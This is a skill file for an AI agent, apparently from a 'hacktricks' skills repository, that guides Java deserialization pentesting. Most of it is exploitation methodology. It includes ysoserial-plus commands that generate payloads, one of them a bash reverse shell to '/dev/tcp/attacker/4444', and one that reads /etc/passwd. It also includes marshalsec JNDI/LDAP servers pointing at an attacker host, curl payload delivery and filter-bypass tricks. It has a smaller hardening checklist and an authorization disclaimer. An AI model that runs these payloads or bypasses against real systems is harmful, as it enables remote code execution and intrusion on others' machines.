Hacktricks-skills java-deserialization-pentest
Java deserialization vulnerability assessment and exploitation. Use this skill whenever the user mentions Java deserialization, ObjectInputStream, readObject, gadget chains, ysoserial, or any Java serialization security testing. Trigger for pentesting Java applications, analyzing serialized payloads, generating exploit code, or hardening Java deserialization. Make sure to use this skill for any Java security assessment involving serialization, even if the user doesn't explicitly mention 'deserialization' but talks about Java object streams, RMI, or serialized data.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject/SKILL.MDJava Deserialization Pentest Skill
A comprehensive guide for assessing and exploiting Java deserialization vulnerabilities during security testing.
Core Concepts
Why Deserialization is Dangerous
Java's
ObjectInputStream.readObject() can execute arbitrary code when deserializing attacker-controlled data. The vulnerability exists because:
- Class-specific read logic executes during deserializationreadObject()
- Can replace deserialized objects with attacker-controlled onesreadResolve()
- Callbacks viavalidateObject()ObjectInputValidation- Constructors are NOT executed - Gadget chains rely exclusively on the above callbacks
Any method in this chain invoking attacker-controlled data (command execution, JNDI lookups, reflection) becomes an RCE gadget.
Classic Attack Pattern
Attacker → Serialized Payload → ObjectInputStream.readObject() → readObject() → Gadget Chain → RCE
The
readObject() method can call other methods on deserialized fields, which may execute arbitrary code.
Attack Methodology
Step 1: Identify Deserialization Entry Points
Look for these patterns in Java applications:
ObjectInputStream.readObject()
services accepting serialized objectsRMI
serializationHttpSession- Message queues (JMS, Kafka) with Java serialization
- File uploads accepting
,.ser
,.dat
files.obj - XML with Java object encoding
- Base64-encoded payloads with
prefix (pac4j){#sb64}
Step 2: Enumerate Available Gadget Chains
Use
ysoserial-plus to discover available gadgets:
# List all available gadget chains java -jar ysoserial-plus.jar # Generate a payload for a specific chain java -jar ysoserial-plus.jar CommonsCollections6 'calc.exe' | base64 -w0 # Common chains to try: # - CommonsCollections1-7 # - C3P0 # - Spring1-4 # - Hibernate1-5 # - Tomcat1-2 # - SnakeYAML # - Groovy1-2
Step 3: Deliver the Payload
HTTP POST with serialized data:
# Base64-encoded payload curl -X POST http://target/api \ -H "Content-Type: application/octet-stream" \ --data-binary @payload.ser # Or with base64 in body curl -X POST http://target/api \ -H "Content-Type: application/json" \ -d '{"data": "BASE64_PAYLOAD_HERE"}'
RMI exploitation:
# Use marshalsec for RMI java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
File upload:
# Upload .ser file directly python3 scripts/upload_serialized.py http://target/upload payload.ser
Step 4: Verify Code Execution
- Check for callback to attacker-controlled server
- Look for file creation on target
- Monitor for process spawning (calc.exe, reverse shell)
- Use
to confirm deserialization occurredSerialSniffer
Tooling
ysoserial-plus (Primary Exploitation)
# Install wget https://github.com/ysoserial/ysoserial-plus/releases/latest/download/ysoserial-plus.jar # Generate payload java -jar ysoserial-plus.jar CommonsCollections6 'reverse_shell_command' > payload.ser # Pipe to base64 for HTTP delivery java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
marshalsec (JNDI Gadgets)
# Start LDAP server for JNDI injection java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389 # Generate JNDI payload java -cp marshalsec.jar marshalsec.jndi.LDAPPayload 'ldap://attacker:1389/ExploitClass' > payload.ser
gadget-probe (Discovery)
# Scan for vulnerable deserialization endpoints gadget-probe --url http://target --threads 50
SerialSniffer (Detection)
# Attach to JVM to see what's being deserialized java -javaagent:SerialSniffer.jar -jar target-app.jar
Detection with JDK 22+
# Enable serialization debug logging -Djdk.serialDebug=true
Recent Vulnerabilities (2023-2025)
| CVE | Product | Description |
|---|---|---|
| CVE-2023-34040 | Spring-Kafka | Deserialization of error-record headers |
| CVE-2023-36480 | Aerospike Java Client | Trusted-server assumption broken |
| CVE-2023-25581 | pac4j-core | Base64 deserialization bypass |
| CVE-2023-4528 | JSCAPE MFT Manager | XML-encoded Java objects RCE |
| 2024 | ysoserial-plus | New Hibernate5, TomcatEmbed, SnakeYAML 2.x gadgets |
Mitigation Testing
Check for Serialization Filtering
# Test if jdk.serialFilter is configured echo "Test if filter rejects unknown classes" # Send payload with uncommon gadget chain # If rejected, filtering is likely enabled
Verify Filter Configuration
Look for these JVM arguments:
# Good: Allow-list approach -Djdk.serialFilter="com.example.dto.*;java.base/*;!*" # Good: Resource limits -Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000" # Bad: No filter or overly permissive -Djdk.serialFilter="*"
Test Filter Bypasses
Some filters can be bypassed:
- Inner classes -
may bypasscom.example.Outer$Innercom.example.Outer - Array types -
may bypass class filters[Lcom.example.Class; - Proxy classes -
may bypass filters$Proxy0 - Module names -
is often too permissivejava.base/*
Secure Code Review Checklist
When reviewing Java code for deserialization:
-
isreadObject()
withprivate
annotation@Serial - No user-supplied method calls in
readObject() - No I/O operations in
readObject() - Validation happens AFTER deserialization, not during
-
is registered even for internal servicesObjectInputFilter - Prefer
over default serializationExternalizable - No raw
exposed over networkObjectInputStream - CI pipeline runs
orgadget-inspectorserialpwn-cli
Quick Reference
Common Gadget Chains by Library
| Library | Chains | Risk Level |
|---|---|---|
| CommonsCollections | 1-7 | Critical |
| Spring | 1-4 | Critical |
| Hibernate | 1-5 | High |
| SnakeYAML | 1-2 | High |
| Groovy | 1-2 | High |
| C3P0 | 1 | Medium |
| Tomcat | 1-2 | Medium |
Payload Generation Commands
# Reverse shell (CommonsCollections6) java -jar ysoserial-plus.jar CommonsCollections6 'bash -i >& /dev/tcp/attacker/4444 0>&1' > payload.ser # File read (C3P0) java -jar ysoserial-plus.jar C3P0 'cat /etc/passwd' > payload.ser # JNDI lookup (marshalsec) java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8080/#ExploitClass 1389
References
- ysoserial-plus
- marshalsec
- gadget-probe
- SerialSniffer
- JEP 290 - Serialization Filtering
- JEP 415 - Context-Specific Filter Factories
Note: Always obtain proper authorization before testing deserialization vulnerabilities. Unauthorized exploitation of deserialization flaws is illegal and can cause severe damage to production systems.